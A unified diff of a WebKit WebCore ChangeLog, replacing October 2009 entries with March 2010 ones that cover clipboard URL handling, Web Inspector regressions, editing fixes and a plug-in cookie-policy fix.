-        (WebCore::V8WorkerContextEventListener::V8WorkerContextEventListener):
-        * bindings/v8/V8WorkerContextEventListener.h:
-        (WebCore::V8WorkerContextEventListener::create):
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::WorkerContextExecutionProxy):
-        (WebCore::WorkerContextExecutionProxy::dispose):
-        (WebCore::WorkerContextExecutionProxy::findOrCreateEventListener):
-        * bindings/v8/WorkerContextExecutionProxy.h:
-        * bindings/v8/custom/V8CustomEventListener.cpp:
-        (WebCore::V8EventListener::V8EventListener):
-        * bindings/v8/custom/V8CustomEventListener.h:
-        (WebCore::V8EventListener::create):
-
-2009-10-02  Kenneth Russell  <kbr@google.com>
-
-        Reviewed by Dimitri Glazkov.
+        Change ChromiumDataObject such that it treats types "URL" and "text/uri-list"
+        correctly for event.dataTransfer.getData/setData. Currently both are treated
+        as synonyms, but for "URL", getData is supposed to only return the first valid URL
+        contained within the data for "text/uri-list" (see HTML5 spec).
 
-        [chromium] Fix WebGL build after CustomGetter constructor changes
-        https://bugs.webkit.org/show_bug.cgi?id=30020
+        Tests: editing/pasteboard/dataTransfer-setData-getData.html
 
-        * page/DOMWindow.idl:
-        Changed CustomGetter to JSCCustomGetter for CanvasArray constructors.
+        * platform/chromium/ChromiumDataObject.cpp:
+        (WebCore::ChromiumDataObject::clear):
+        (WebCore::ChromiumDataObject::clearAllExceptFiles):
+        (WebCore::ChromiumDataObject::hasData):
+        (WebCore::ChromiumDataObject::ChromiumDataObject):
+        * platform/chromium/ChromiumDataObject.h:
+        (WebCore::ChromiumDataObject::clearURL):
+        (WebCore::ChromiumDataObject::hasValidURL):
+        (WebCore::ChromiumDataObject::getURL):
+        (WebCore::ChromiumDataObject::setURL):
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::):
+        (WebCore::clipboardTypeFromMIMEType):
+        (WebCore::ClipboardChromium::clearData):
+        (WebCore::ClipboardChromium::getData):
+        (WebCore::ClipboardChromium::setData):
+        (WebCore::ClipboardChromium::types):
+        * platform/chromium/DragDataChromium.cpp:
+        (WebCore::DragData::asURL):
+        (WebCore::DragData::canSmartReplace):
 
-2009-10-02  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+2010-03-09  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Web Inspector: text in a "Request Payload" section disappears on selection
-        https://bugs.webkit.org/show_bug.cgi?id=29967
-
-        No new tests.
-
-        * inspector/front-end/ResourceView.js:
-        (WebInspector.ResourceView.prototype._refreshRequestPayload):
-
-2009-10-02  Vitaly Repeshko  <vitalyr@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Recursion guard for V8Proxy::callFunction.
-        Fixes http://crbug.com/23278.
-        https://bugs.webkit.org/show_bug.cgi?id=29974
-
-        Test: fast/xmlhttprequest/xmlhttprequest-recursive-sync-event.html
-
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::callFunction):
-
-2009-10-02  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Jon Honeycutt.
+        Web Inspector: REGRESSION: Tall image resources are cropped over the bottom.
 
-        Fix test breakages by adding null checks, and putting inspector code in
-        ENABLE(INSPECTOR).
+        https://bugs.webkit.org/show_bug.cgi?id=34720
 
-        * dom/Document.cpp:
-        (WebCore::Document::finishedParsing):
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::dispatchLoadEvent):
-
-2009-10-02  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Reviewed by Simon Hausmann.
+        * inspector/front-end/inspector.css:
 
-        Clean up the QNetworkReplyHandler to only apply HTTP headers
-        for protocols in the HTTP family.
+2010-03-09  Pavel Feldman  <pfeldman@chromium.org>
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::finish):
-        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+        Reviewed by Timothy Hatcher.
 
-2009-10-02  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        Web Inspector: REGRESSION: Pressing up/down arrow key to change numeric
+        value in CSS property takes focus away.
 
-        Reviewed by Simon Hausmann.
+        https://bugs.webkit.org/show_bug.cgi?id=34697
 
-        Move error check into sendResponseIfNeeded() as suggested
-        by Eric Seidel. Also, remove some dead code.
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype):
+        (WebInspector.StylePropertyTreeElement.prototype.):
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::finish):
-        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+2010-03-09  Tony Chang  <tony@chromium.org>
 
-2009-10-02  Enrica Casucci  <enrica@apple.com>
+        Reviewed by Adam Barth.
 
-        Reviewed by Adele Peterson.
+        https://bugs.webkit.org/show_bug.cgi?id=21840
+        https://bugs.webkit.org/show_bug.cgi?id=23993
 
-        Assertion failure in CompositeEditCommand::moveParagraphs() and crash in Node::nodeIndex() when pasting.
-        <rdar://problem/7148712>
-        https://bugs.webkit.org/show_bug.cgi?id=28992
+        Fix an editing bug where replacing a selection would result in the
+        new text ending up inside nodes that were not visibly included in the
+        selection.  Instead, move our destination position out of nodes that
+        were not visibly included.
 
-        Test: editing/selection/replace-selection-crash.html
+        Tests: editing/deleting/backspace-avoid-preceding-style.html
+               editing/inserting/replace-at-visible-boundary.html
 
         * editing/ReplaceSelectionCommand.cpp:
-        (WebCore::ReplaceSelectionCommand::mergeEndIfNeeded): Handle properly the case of
-        the destination position matching the end of the paragraph to move.
-
-2009-10-02  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
+        (WebCore::positionAvoidingPrecedingNodes):
+        (WebCore::ReplaceSelectionCommand::doApply):
 
-        Implement per-storage-area quotas for LocalStorage
-        https://bugs.webkit.org/show_bug.cgi?id=29991
-
-        I put 90% of the code in StorageMap since the decision to allow an update is
-        closely tied to quota tracking.  The quota is set via a page's Settings class.
-        Like with the local storage path and whether it's enabled, it's assumed that
-        all pages in the same group will have the same settings.  The setting defaults
-        to 5mb which is what the spec suggests, but it can easily be changed to
-        anything else--including StorageMap::noQuota.  Any values in LocalStorage are
-        grandfathered in regarudless of quota, so importItem only tracks (and will
-        never block) imports.
-
-        I believe this change is a good transition to more complex quota management.
-        For example, if we wanted to track quotas in the SQLite DB, then we'd just add
-        a function to the StorageMap that sets the quota.  This would be fine since all
-        use of LocalStorage is blocked on the import completing, so you'd never hit a
-        quota error in the mean time.  Also, if embedders wanted to ask the user
-        whether to expand the quota whenever it's hit (before deciding whether or not
-        to raise an exception), a callback via the chrome client should be fairly easy.
-        That said, I think it's best to add these features in steps rather than one
-        huge patch.  (Both of these are on my TODO list, btw.)
-
-        Included is a layout test that verifies the behavior.  It assumes the default
-        quota is 5mb (since that's what Settings defaults to).
-
-        Test: storage/domstorage/localstorage/quota.html
+2010-03-09  Brady Eidson  <beidson@apple.com>
 
-        * page/PageGroup.cpp:
-        (WebCore::PageGroup::localStorage):
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-        (WebCore::Settings::setLocalStorageQuota):
-        * page/Settings.h:
-        (WebCore::Settings::localStorageQuota):
-        * storage/StorageAreaImpl.cpp:
-        (WebCore::StorageAreaImpl::create):
-        (WebCore::StorageAreaImpl::StorageAreaImpl):
-        (WebCore::StorageAreaImpl::setItem):
-        (WebCore::StorageAreaImpl::clear):
-        * storage/StorageAreaImpl.h:
-        * storage/StorageMap.cpp:
-        (WebCore::StorageMap::create):
-        (WebCore::StorageMap::StorageMap):
-        (WebCore::StorageMap::copy):
-        (WebCore::StorageMap::setItem):
-        (WebCore::StorageMap::removeItem):
-        (WebCore::StorageMap::importItem):
-        * storage/StorageMap.h:
-        (WebCore::StorageMap::quota):
-        * storage/StorageNamespace.cpp:
-        (WebCore::StorageNamespace::localStorageNamespace):
-        * storage/StorageNamespace.h:
-        * storage/StorageNamespaceImpl.cpp:
-        (WebCore::StorageNamespaceImpl::localStorageNamespace):
-        (WebCore::StorageNamespaceImpl::sessionStorageNamespace):
-        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl):
-        (WebCore::StorageNamespaceImpl::copy):
-        (WebCore::StorageNamespaceImpl::storageArea):
-        * storage/StorageNamespaceImpl.h:
-
-2009-10-02  Joseph Pecoraro  <joepeck@webkit.org>
-
-        Reviewed by Timothy Hatcher.
+        Reviewed by Tim Hatcher.
 
-        Database Inspector crashes Safari when table has more than 21 columns
-        https://bugs.webkit.org/show_bug.cgi?id=29924
+        REGRESSION: WebInspector docking busted on Windows
+        <rdar://problem/7728433> and https://bugs.webkit.org/show_bug.cgi?id=35953
 
-        * inspector/front-end/StoragePanel.js:
-        (WebInspector.StoragePanel.prototype.dataGridForResult): adjust the minimum column width percentage to be flexible for many columns.
+        First off, a bit of settings-key related cleanup. If they're shared over multiple files, these 
+        things should be properly declared Strings, not random loose char*'s.
 
-2009-10-02  Brian Weinstein  <bweinstein@apple.com>
+        Along with that change, we move the "inspectorStartsAttachedSettingName" from WebKit down to the
+        InspectorController in WebCore.
 
-        Reviewed by Timothy Hatcher.
+        Finally, when the controller is ready to show the WebInspector window, it can use this newly
+        exposed settings key to call "setWindowVisible" directly instead of relying on "showWindow" to do
+        it indirectly.
 
-        Fixes <http://webkit.org/b/14370>.
-        Inspector's timeline should record when certain DOM events fired.
-        
-        This patch adds calls into the Web Inspector when the main frame
-        fires an load event, and when the document fires its DOMContent
-        event. Once these values are passed in, they are sent to the Web Inspector
-        as a timing change, and these are denoted by vertical lines in the resources
-        panel (blue for DOM Content, red for load event).
+        * WebCore.base.exp:
 
-        * English.lproj/localizedStrings.js: Added tooltip text.
-        * dom/Document.cpp:
-        (WebCore::Document::finishedParsing): Added an Inspector callback for DOM Content.
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::saveFrontendSettings):
         * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::mainResourceFiredDOMContentEvent): Tell the main resource it got the event.
-        (WebCore::InspectorController::mainResourceFiredLoadEvent): Ditto.
+        (WebCore::InspectorController::frontendSettingsSettingName):
+        (WebCore::InspectorController::inspectorStartsAttachedSettingName):
+        (WebCore::InspectorController::scriptObjectReady): Using the new inspectorStartsAttachedSettingName
+          key and some "can I attach this?" logic, call setWindowVisible directly to display the inspector
+          window.
+        (WebCore::InspectorController::populateScriptObjects):
         * inspector/InspectorController.h:
-        * inspector/InspectorResource.cpp:
-        (WebCore::InspectorResource::InspectorResource): Added new variables.
-        (WebCore::InspectorResource::updateScriptObject): Send new variables to inspector.js.
-        (WebCore::InspectorResource::markDOMContentEventTime): Send a TimingChange event.
-        (WebCore::InspectorResource::markLoadEventTime): Ditto.
-        * inspector/InspectorResource.h:
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.prototype.get mainResourceLoadTime):
-        (WebInspector.ResourcesPanel.prototype.set mainResourceLoadTime):
-        (WebInspector.ResourcesPanel.prototype.get mainResourceDOMContentTime):
-        (WebInspector.ResourcesPanel.prototype.set mainResourceDOMContentTime):
-        (WebInspector.ResourcesPanel.prototype.reset):
-        (WebInspector.ResourcesPanel.prototype._updateGraphDividersIfNeeded): Draw dividers for event timings.
-        (WebInspector.ResourceTimeCalculator.prototype.computePercentageFromEventTime):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.js:
-        (WebInspector.updateResource):
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::dispatchLoadEvent): Add an Inspector callback for the Load event.
-
-2009-10-02  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Adam Roben.
-
-        Add support for blacklist patterns to user stylesheets and scripts in addition to whitelist patterns.
-
-        * WebCore.base.exp:
-        * dom/Document.cpp:
-        (WebCore::Document::pageGroupUserSheets):
-        * page/Frame.cpp:
-        (WebCore::Frame::injectUserScriptsForWorld):
-        * page/PageGroup.cpp:
-        (WebCore::PageGroup::addUserScript):
-        (WebCore::PageGroup::addUserStyleSheet):
-        (WebCore::PageGroup::removeUserContentWithURLForWorld):
-        (WebCore::PageGroup::removeUserContentForWorld):
-        * page/PageGroup.h:
-        * page/UserContentURLPattern.cpp:
-        (WebCore::UserContentURLPattern::matchesPatterns):
-        * page/UserContentURLPattern.h:
-        * page/UserScript.h:
-        (WebCore::UserScript::UserScript):
-        (WebCore::UserScript::whitelist):
-        (WebCore::UserScript::blacklist):
-        * page/UserStyleSheet.h:
-        (WebCore::UserStyleSheet::UserStyleSheet):
-        (WebCore::UserStyleSheet::whitelist):
-        (WebCore::UserStyleSheet::blacklist):
-
-2009-10-02  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Darin Adler.
-
-        Build fix when SVG is not enabled
-        https://bugs.webkit.org/show_bug.cgi?id=30011
-
-        Move TextRenderingMode related functions out from
-        the ENABLE(SVG) guard.
-
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
-        (WebCore::CSSPrimitiveValue::operator TextRenderingMode):
 
-2009-10-02  Kenneth Russell  <kbr@google.com>
-
-        Reviewed by Oliver Hunt.
-
-        WebGL crashes with recent CanvasArray change
-        https://bugs.webkit.org/show_bug.cgi?id=30018
-
-        Test: fast/canvas/webgl/array-unit-tests.html
-
-        * html/canvas/CanvasArray.cpp:
-        (WebCore::CanvasArray::CanvasArray):
-        Fix bug where PassRefPtr was tested after transferring value to RefPtr.
-
-2009-10-02  Steve Falkenburg  <sfalken@apple.com>
+2010-03-09  Alexey Proskuryakov  <ap@apple.com>
 
         Reviewed by Mark Rowe.
 
-        <https://bugs.webkit.org/show_bug.cgi?id=29989>
-        Safari version number shouldn't be exposed in WebKit code
-        
-        For a WebKit version of 532.3.4:
-        Product version is: 5.32.3.4 (was 4.0.3.0)
-        File version is: 5.32.3.4 (was 4.532.3.4)
-
-        * WebCore.vcproj/QTMovieWin.rc:
-
-2009-10-02  Stephen White  <senorblanco@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
+        https://bugs.webkit.org/show_bug.cgi?id=35951
+        <rdar://problem/7327060> Frequent crashes in Dashcode at JSC::Bindings::ObjcInstance::~ObjcInstance + 80
 
-        Enable two point radial gradients in Chromium/Skia.
+        * bridge/objc/objc_instance.mm: (createInstanceWrapperCache): Fix Tiger code path, too.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30017
-
-        Covered by the following tests:
-
-        LayoutTests/svg/W3C-SVG-1.1/pservers-grad-13-b.svg
-        LayoutTests/fast/backgrounds/svg-as-background-3.html
-        LayoutTests/fast/gradients/generated-gradients.html
-        LayoutTests/fast/gradients/simple-gradients.html
-
-        * platform/graphics/skia/GradientSkia.cpp:
-        (WebCore::Gradient::platformGradient):
-
-2009-10-02  Norbert Leser  <norbert.leser@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Conditionally guard cursor code (cursor and updateCursor functions) with !QT_NO_CURSOR.
-        Otherwise, it is inconsistent with class declaration of QCursor.
-
-        No new tests.
+2010-03-09  Alexey Proskuryakov  <ap@apple.com>
 
-        * platform/qt/QWebPageClient.h:
-
-2009-10-02  Philippe Normand  <pnormand@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK] missing support for anamorphic PAR video size
-        https://bugs.webkit.org/show_bug.cgi?id=29717
-
-        cleanup of caps handling in the video sink
-
-        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
-        (webkit_video_sink_set_caps):
-
-2009-10-02  Prasanth Ullattil  <prasanth.ullattil@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Fix compiler warnings about unused function arguments.
-
-        * bridge/qt/qt_class.h:
-        * bridge/qt/qt_runtime.cpp:
-        (JSC::Bindings::QtRuntimeMetaMethod::call):
-        (JSC::Bindings::QtRuntimeConnectionMethod::call):
-        * dom/XMLTokenizerQt.cpp:
-        (WebCore::XMLTokenizer::initializeParserContext):
-        * platform/graphics/qt/FontCacheQt.cpp:
-        (WebCore::FontCache::getTraitsInFamily):
-        (WebCore::FontCache::getCachedFontPlatformData):
-        * platform/graphics/qt/FontFallbackListQt.cpp:
-        (WebCore::FontFallbackList::setPlatformFont):
-        * platform/graphics/qt/FontQt.cpp:
-        (WebCore::Font::offsetForPositionForComplexText):
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::drawLineForText):
-        (WebCore::GraphicsContext::drawLineForMisspellingOrBadGrammar):
-        (WebCore::GraphicsContext::setPlatformShadow):
-        (WebCore::GraphicsContext::setURLForRect):
-        * platform/graphics/qt/IconQt.cpp:
-        (WebCore::Icon::createIconForFiles):
-        * platform/graphics/qt/ImageBufferQt.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::frameBufferAtIndex):
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
-        (WebCore::MediaPlayerPrivate::supportsType):
-        (WebCore::MediaPlayerPrivate::setEndTime):
-        * platform/graphics/qt/SimpleFontDataQt.cpp:
-        (WebCore::SimpleFontData::containsCharacters):
-        * platform/graphics/qt/StillImageQt.h:
-        (WebCore::StillImage::destroyDecodedData):
-        * platform/network/qt/DnsPrefetchHelper.h:
-        (WebCore::DnsPrefetchHelper::lookedUp):
-        * platform/qt/ContextMenuQt.cpp:
-        (WebCore::ContextMenu::setPlatformDescription):
-        * platform/qt/DragDataQt.cpp:
-        (WebCore::DragData::asURL):
-        * platform/qt/PopupMenuQt.cpp:
-        (WebCore::PopupMenu::populate):
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::supportsFocusRing):
-        (WebCore::RenderThemeQt::systemFont):
-        (WebCore::RenderThemeQt::adjustButtonStyle):
-        (WebCore::RenderThemeQt::adjustMenuListButtonStyle):
-        (WebCore::RenderThemeQt::paintMediaSeekBackButton):
-        (WebCore::RenderThemeQt::paintMediaSeekForwardButton):
-        * platform/qt/ScrollViewQt.cpp:
-        (WebCore::ScrollView::platformAddChild):
-        * platform/qt/SearchPopupMenuQt.cpp:
-        (WebCore::SearchPopupMenu::saveRecentSearches):
-        (WebCore::SearchPopupMenu::loadRecentSearches):
-        * platform/qt/TemporaryLinkStubs.cpp:
-        (WebCore::signedPublicKeyAndChallengeString):
-        * platform/qt/WidgetQt.cpp:
-        (WebCore::Widget::paint):
-        * xml/XSLStyleSheetQt.cpp:
-        (WebCore::XSLStyleSheet::loadChildSheet):
-        (WebCore::XSLStyleSheet::setParentStyleSheet):
-        * xml/XSLTProcessorQt.cpp:
-        (WebCore::XSLTMessageHandler::handleMessage):
-        (WebCore::XSLTProcessor::transformToString):
-
-2009-10-02  Philippe Normand  <pnormand@igalia.com>
+        Reviewed by Oliver Hunt.
 
-        Reviewed by Gustavo Noronha.
+        https://bugs.webkit.org/show_bug.cgi?id=35951
+        <rdar://problem/7327060> Frequent crashes in Dashcode at JSC::Bindings::ObjcInstance::~ObjcInstance + 80
 
-        [GTK] missing support for anamorphic PAR video size
-        https://bugs.webkit.org/show_bug.cgi?id=29717
+        * bridge/objc/objc_instance.mm: (createInstanceWrapperCache): It's not correct to use object
+        personality for keys, because the key can be a mutable object, so its hash can change over its
+        lifetime.
 
-        Scale the cairo surface of the video sink depending on the
-        pixel-aspect-ratio of the video buffer to paint. Also
-        destruct/re-create the surface when setSize() is called with a new
-        size.
+2010-03-09  Ojan Vafai  <ojan@chromium.org>
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::naturalSize):
-        (WebCore::MediaPlayerPrivate::setSize):
-        (WebCore::MediaPlayerPrivate::paint):
-        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
-        (webkit_video_sink_idle_func):
-
-2009-10-02  Ben Murdoch  <benm@google.com>
+        Reviewed by Darin Adler.
 
-        Reviewed by David Kilzer.
+        Fix review comment accidentally overlooked in bug 35713
+        https://bugs.webkit.org/show_bug.cgi?id=35947
 
-        Stale database version persists through browser refresh (changeVersion doesn't work)
-        https://bugs.webkit.org/show_bug.cgi?id=27836
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::DeleteSelectionCommand::setStartingSelectionOnSmartDelete):
+        * editing/DeleteSelectionCommand.h:
 
-        Tests: storage/change-version-handle-reuse.html
-               storage/change-version.html
+2010-03-03  Ojan Vafai  <ojan@chromium.org>
 
-        * bindings/v8/custom/V8DatabaseCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Implement the V8 binding for database.changeVersion().
-        (WebCore::createTransaction): Fix a bug that was checking the wrong argument index to save the success callback.
-        * storage/Database.cpp:
-        (WebCore::updateGuidVersionMap): Safely update the Guid/version hash map.
-        (WebCore::Database::~Database): Remove code that removes the database from the guid->database and guid->version maps.
-        (WebCore::Database::setVersionInDatabase): Add a comment to explain some behaviour.
-        (WebCore::Database::close): Move the code that updates the maps from the destructor to here.
-        (WebCore::Database::performOpenAndVerify): Call updateGuidVersionMap instead of setting the hash map directly.
-        (WebCore::Database::setExpectedVersion): Update the in memory guid->version map when we want to update the database version.
+        Reviewed by Adam Barth.
 
-2009-10-02  Janne Koskinen <janne.p.koskinen@digia.com>
+        undo after smartdelete should select the deleted space
+        https://bugs.webkit.org/show_bug.cgi?id=35713
 
-        Reviewed by Simon Hausmann.
+        TextEdit behavior is to select the deleted space after a smartdelete.
 
-        Partial WINSCW build fix.
+        Tests: editing/undo/undo-smart-delete-reversed-selection.html
+               editing/undo/undo-smart-delete-word.html
 
-        Add parentheses around the function pointer declaration, similar to the
-        second hunk in r48825.
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::DeleteSelectionCommand::setStartingSelectionOnSmartDelete):
+        (WebCore::DeleteSelectionCommand::initializePositionData):
+        * editing/DeleteSelectionCommand.h:
+        * editing/VisibleSelection.cpp:
+        (WebCore::VisibleSelection::setWithoutValidation):
+        This assert looks bogus to me. undo-smart-delete-reversed-selection.html hits it
+        but not as a result of the other changes in this patch. The granularity when
+        deleting after making a wordgranularity selection is wordgranularity, not charactergranularity.
 
-        * loader/CachedResourceHandle.h:
+2010-03-09  Steve Falkenburg  <sfalken@apple.com>
 
-2009-10-02  Adam Barth  <abarth@webkit.org>
+        Rubber stamped by Adam Roben.
 
-        Unreviewed attempted build fix by Xcode magic.
+        Load debug version of graphics library in Windows Debug_All builds.
 
-        * WebCore.xcodeproj/project.pbxproj:
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        (WebCore::WKCACFLayerRenderer::acceleratedCompositingAvailable):
 
-2009-10-02  Adam Barth  <abarth@webkit.org>
-
-        Unreviewed build fix.  Actually add the new files.
-
-        * loader/RedirectScheduler.cpp: Added.
-        (WebCore::ScheduledRedirection::):
-        (WebCore::ScheduledRedirection::ScheduledRedirection):
-        (WebCore::RedirectScheduler::RedirectScheduler):
-        (WebCore::RedirectScheduler::~RedirectScheduler):
-        (WebCore::RedirectScheduler::redirectScheduledDuringLoad):
-        (WebCore::RedirectScheduler::clear):
-        (WebCore::RedirectScheduler::scheduleRedirect):
-        (WebCore::RedirectScheduler::mustLockBackForwardList):
-        (WebCore::RedirectScheduler::scheduleLocationChange):
-        (WebCore::RedirectScheduler::scheduleFormSubmission):
-        (WebCore::RedirectScheduler::scheduleRefresh):
-        (WebCore::RedirectScheduler::locationChangePending):
-        (WebCore::RedirectScheduler::scheduleHistoryNavigation):
-        (WebCore::RedirectScheduler::timerFired):
-        (WebCore::RedirectScheduler::schedule):
-        (WebCore::RedirectScheduler::startTimer):
-        (WebCore::RedirectScheduler::cancel):
-        * loader/RedirectScheduler.h: Added.
-
-2009-10-01  Adam Barth  <abarth@webkit.org>
+2010-03-09  Brady Eidson  <beidson@apple.com>
 
         Reviewed by Darin Adler.
 
-        Move RedirectScheduler to its own file
-        https://bugs.webkit.org/show_bug.cgi?id=29952
-
-        This change is purely code motion.
+        Plug-ins don't always respect the cookie accept policy.
+        <rdar://problem/7338359> and https://bugs.webkit.org/show_bug.cgi?id=26391
 
-        No behavior change.
-
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * loader/FrameLoader.cpp:
-        * loader/FrameLoader.h:
-        * loader/RedirectScheduler.cpp: Added.
-        (WebCore::ScheduledRedirection::):
-        (WebCore::ScheduledRedirection::ScheduledRedirection):
-        (WebCore::RedirectScheduler::RedirectScheduler):
-        (WebCore::RedirectScheduler::~RedirectScheduler):
-        (WebCore::RedirectScheduler::redirectScheduledDuringLoad):
-        (WebCore::RedirectScheduler::clear):
-        (WebCore::RedirectScheduler::scheduleRedirect):
-        (WebCore::RedirectScheduler::mustLockBackForwardList):
-        (WebCore::RedirectScheduler::scheduleLocationChange):
-        (WebCore::RedirectScheduler::scheduleFormSubmission):
-        (WebCore::RedirectScheduler::scheduleRefresh):
-        (WebCore::RedirectScheduler::locationChangePending):
-        (WebCore::RedirectScheduler::scheduleHistoryNavigation):
-        (WebCore::RedirectScheduler::timerFired):
-        (WebCore::RedirectScheduler::schedule):
-        (WebCore::RedirectScheduler::startTimer):
-        (WebCore::RedirectScheduler::cancel):
-        * loader/RedirectScheduler.h: Added.
-
-2009-10-02  Dave MacLachlan  <dmaclach@gmail.com>
+        The problem is that the various plug-in implementations call into a ResourceLoader
+        directly instead of filtering the request through FrameLoader. This bypassed the step
+        of adding extra fields to the requests, such as the firstPartyForCookies URL.
 
-        Reviewed by David Levin.
+        Since plug-in code is currently so strewn about and very platform specific, I
+        think reworking it needs to be a task for domain experts. I don't know the implications
+        of adding *all* the extra fields to plug-in requests, for example.
 
-        Clean up warnings in WebCore/bindings/v8/npruntime.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=29971
+        There's no harm in this targeted fix for the hole in our cookie accept policy until
+        plug-ins can more fundamentally change.
 
-        Gets rid of warnings on gcc about using anonymous namespaces 
-          warning: 'StringKeyHashTraits' has a base
-          'WTF::GenericHashTraits<<unnamed>::StringKey>' 
-          whose type uses the anonymous namespace
-        and
-          warning: 'WTF::PairHashTraits<StringKeyHashTraits,
-          WTF::HashTraits<PrivateIdentifier*> >' has a base
-          'WTF::GenericHashTraits<std::pair<<unnamed>::StringKey,
-          PrivateIdentifier*> >' whose type uses the anonymous namespace
+        Test: http/tests/plugins/third-party-cookie-accept-policy.html
 
-        No tests required.
-
-        * bindings/v8/npruntime.cpp:
-
-2009-10-01  Mark Rowe  <mrowe@apple.com>
-
-        Fix the Tiger build.  Don't unconditionally enable 3D canvas as it is not supported on Tiger.
-
-        * Configurations/FeatureDefines.xcconfig:
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::load): Don't load a resource without first giving the request 
+          a firstPartyForCookies URL.
 
-2009-10-01  Chris Marrin  <cmarrin@apple.com>
+2010-03-09  Andy Estes  <aestes@apple.com>
 
-        Reviewed by Oliver Hunt.
+        Reviewed by Adele Peterson.
 
-        Turn on ENABLE_3D_CANVAS in TOT
-        https://bugs.webkit.org/show_bug.cgi?id=29906
+        Check for null renderer in scrollNode().
+        https://bugs.webkit.org/show_bug.cgi?id=34700
 
-        Fixed a bug found when running tests with flag on
+        Test: fast/events/remove-child-onscroll.html
 
-        * Configurations/FeatureDefines.xcconfig:
-        * WebCore.base.exp:
-        * bindings/js/JSCanvasArrayBufferConstructor.h:
-        (WebCore::construct):
-        * html/HTMLCanvasElement.cpp:
-        (WebCore::HTMLCanvasElement::getContext):
-        * html/canvas/CanvasArray.cpp:
-        (WebCore::CanvasArray::CanvasArray):
-        * html/canvas/CanvasByteArray.cpp:
-        (WebCore::CanvasByteArray::create):
-        * html/canvas/CanvasFloatArray.cpp:
-        (WebCore::CanvasFloatArray::create):
-        * html/canvas/CanvasIntArray.cpp:
-        (WebCore::CanvasIntArray::create):
-        * html/canvas/CanvasShortArray.cpp:
-        (WebCore::CanvasShortArray::create):
-        * html/canvas/CanvasUnsignedByteArray.cpp:
-        (WebCore::CanvasUnsignedByteArray::create):
-        * html/canvas/CanvasUnsignedIntArray.cpp:
-        (WebCore::CanvasUnsignedIntArray::create):
-        * html/canvas/CanvasUnsignedShortArray.cpp:
-        (WebCore::CanvasUnsignedShortArray::create):
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-        (WebCore::Settings::setWebGLEnabled):
-        * page/Settings.h:
-        (WebCore::Settings::webGLEnabled):
+        * page/EventHandler.cpp:
+        (WebCore::scrollNode): Return early if node->renderer() == 0
 
-2009-10-01  Beth Dakin  <bdakin@apple.com>
+2010-03-09  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        Reviewed by Dan Bernstein.
+        Unreviewed distcheck fix.
 
-        Fix for <rdar://problem/7264725> Re-add a vendor prefix to box-
-        shadow (29927)
-        -and corresponding-
-        https://bugs.webkit.org/show_bug.cgi?id=29927
+        * GNUmakefile.am:
 
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-        (WebCore::ShadowParseContext::ShadowParseContext):
-        (WebCore::ShadowParseContext::commitValue):
-        (WebCore::ShadowParseContext::commitLength):
-        (WebCore::ShadowParseContext::commitColor):
-        (WebCore::cssPropertyID):
-        * css/CSSPropertyNames.in:
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-        * page/animation/AnimationBase.cpp:
-        (WebCore::ensurePropertyMap):
